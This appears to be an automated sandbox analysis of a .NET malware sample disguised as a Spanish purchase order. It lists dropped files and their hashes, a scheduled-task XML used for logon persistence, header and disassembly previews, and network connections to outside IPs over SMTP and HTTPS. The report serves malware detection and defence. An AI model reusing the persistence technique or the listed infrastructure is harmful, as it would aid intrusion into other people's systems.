C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_14tka4c1.qth.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1mmbscup.p3z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3cnlyqka.ehs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eywchjxc.2rc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjlbkade.1bd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_msfq2y0i.iiq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ogiio1gg.mzn.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zaek2ygi.f0r.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp

Download File

Process:	C:\Users\user\Desktop\nOrden_de_compra.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	5.092628755864273
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLSxvn:cge7QYrFdOFzOzN33ODOiDdKrsuTqv
MD5:	F331AB1DFBD53BD28DC8A8DAEAC36A31
SHA1:	57CDFBFDD7668FC596D8F318CF99CE2E20FBD229
SHA-256:	54C1A5F0D3AB93240356CAA068C0FE585FC7B19DEC228B8EC17A4352AD82F725
SHA-512:	BAB89F3B60512C408E03DD31338D5D6AFE849E19C4DA1840EB288068E5EAD19CA04377DFF765F6939495D0469C067B097B3B4AF43CFCF1C3A11D6F63A0CC7B5C
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmpE302.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1597
Entropy (8bit):	5.092628755864273
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLSxvn:cge7QYrFdOFzOzN33ODOiDdKrsuTqv
MD5:	F331AB1DFBD53BD28DC8A8DAEAC36A31
SHA1:	57CDFBFDD7668FC596D8F318CF99CE2E20FBD229
SHA-256:	54C1A5F0D3AB93240356CAA068C0FE585FC7B19DEC228B8EC17A4352AD82F725
SHA-512:	BAB89F3B60512C408E03DD31338D5D6AFE849E19C4DA1840EB288068E5EAD19CA04377DFF765F6939495D0469C067B097B3B4AF43CFCF1C3A11D6F63A0CC7B5C
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe

Download File

Process:	C:\Users\user\Desktop\nOrden_de_compra.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	730624
Entropy (8bit):	7.928891623206955
Encrypted:	false
SSDEEP:	12288:gOd53rD22AAxia+iWUd1jIXbsZ9uXIfa5vWwRkP/l14zAFDQzjgWaqPK6k3LlYl:NrDa5a+iJXIr89fOmnnDQf4bP3LlY
MD5:	593BB72286C1C2CE5C2456C7D9585A80
SHA1:	CB9BF63F9005D5B4F1BCBCF3EFEAD399A1C960A7
SHA-256:	84F0A1001A606072B86D8ECA2C4D9CCEFC71C38FF71D0AAA2F4AE003F802917B
SHA-512:	2FD046FC4730A5E912BFC1CD33CDC2601B159F2B55FBFB86ED6BB966DD5D147586E245BB30BDAAF78B568C814985FC488920FAA87FC87D8F9AD0534AB27DAF83
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63% Antivirus: Virustotal, Detection: 43%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{C`...............0..............:... ...@....@.. ....................................@..................................:..O....@.......................`..........p............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................:......H............;...............<..........................................^..}.....(.......(......0...........s".....o......(.....".(.......0..+.........,..{.......+....,...{....o........(.......0..p.........s....}.....s....}.....s....}.....(......{.... P... ....s....o......{....r...po......{.... .....6s....o......{.....o......{....r...po......{.....o......{...........s....o......{.... P... V...s....o......{....r)..po......{.... .....6s....o......{.....o......{....r9..po...

C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\nOrden_de_compra.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.928891623206955
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	nOrden_de_compra.exe
File size:	730'624 bytes
MD5:	593bb72286c1c2ce5c2456c7d9585a80
SHA1:	cb9bf63f9005d5b4f1bcbcf3efead399a1c960a7
SHA256:	84f0a1001a606072b86d8eca2c4d9ccefc71c38ff71d0aaa2f4ae003f802917b
SHA512:	2fd046fc4730a5e912bfc1cd33cdc2601b159f2b55fbfb86ed6bb966dd5d147586e245bb30bdaaf78b568c814985fc488920faa87fc87d8f9ad0534ab27daf83
SSDEEP:	12288:gOd53rD22AAxia+iWUd1jIXbsZ9uXIfa5vWwRkP/l14zAFDQzjgWaqPK6k3LlYl:NrDa5a+iJXIr89fOmnnDQf4bP3LlY
TLSH:	D5F4128136BA5FE2C17DDBF825A5858117F23A6B4521FB0CAEC771EF4826F120711A27
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{C`...............0..............:... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4b3ae6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB560437B [Sat Jun 5 17:33:47 2066 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
xor eax, 39483732h
inc esp
push eax
push edx
dec eax
xor al, 35h
xor eax, 34374553h
inc esi
dec eax
xor al, 38h
aaa
xor eax, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb3a92	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb4000	0x4cc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb1ba0	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb1b04	0xb1c00	e19ea35ec4fd1329aad04e0e94d52111	False	0.9214959124472574	OpenPGP Public Key	7.935524491398435	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb4000	0x4cc	0x600	76188ffd4997978ae00d4dd7d437a055	False	0.375	data	3.7082723271284284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb6000	0xc	0x200	0f35781f5f2e411a005a4ff341fc6fdf	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xb4090	0x23c	data			0.47027972027972026
RT_MANIFEST	0xb42dc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 2, 2024 14:04:00.360469103 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:00.360503912 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:00.360588074 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:00.368781090 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:00.368798018 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:00.849668026 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:00.849740028 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:00.852282047 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:00.852300882 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:00.852720022 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:01.057991028 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:01.058078051 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:01.146929979 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:01.193903923 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:01.302603960 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:01.302767038 CET	443	49702	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:01.302828074 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:01.308126926 CET	49702	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:02.470457077 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:02.705370903 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:02.705459118 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:02.956008911 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:02.956404924 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:03.190959930 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.193321943 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:03.308763981 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:03.308816910 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:03.308892965 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:03.315083027 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:03.315104008 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:03.429385900 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.429711103 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:03.670841932 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.670888901 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.670928001 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.670963049 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.670965910 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:03.671084881 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:03.674313068 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.704817057 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:03.788465023 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:03.788558006 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:03.790569067 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:03.790582895 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:03.790884018 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:03.902555943 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:03.939366102 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:03.945944071 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:03.946571112 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:04.089679956 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:04.089828014 CET	443	49706	173.231.16.76	192.168.2.6
Feb 2, 2024 14:04:04.090040922 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:04.103243113 CET	49706	443	192.168.2.6	173.231.16.76
Feb 2, 2024 14:04:04.181974888 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:04.183073997 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:04.418435097 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:04.419512033 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:04.665285110 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:04.665512085 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:04.701335907 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:04.900806904 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:04.901240110 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:04.931474924 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:04.931577921 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.166806936 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.167021036 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.175033092 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.397469997 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.397617102 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.445977926 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.446211100 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.630676985 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.631007910 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.680694103 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.680937052 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.681514978 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.681587934 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.681611061 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.681648970 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.869987965 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.870034933 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.870074034 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.870107889 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.870498896 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.872653961 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.874347925 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.916944981 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.916960955 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.916990042 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.917006016 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.920459986 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:05.966891050 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:05.976476908 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.105510950 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.114747047 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.214890003 CET	587	49703	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.215949059 CET	49703	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.217500925 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.345110893 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.345587015 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.451864958 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.452308893 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.578572989 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.582745075 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.695008039 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.695219040 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.815485954 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.815884113 CET	49707	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:06.929497004 CET	587	49708	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:06.929670095 CET	49708	587	192.168.2.6	89.32.46.159
Feb 2, 2024 14:04:07.049573898 CET	587	49707	89.32.46.159	192.168.2.6
Feb 2, 2024 14:04:07.049866915 CET	49707	587	192.168.2.6	89.32.46.159
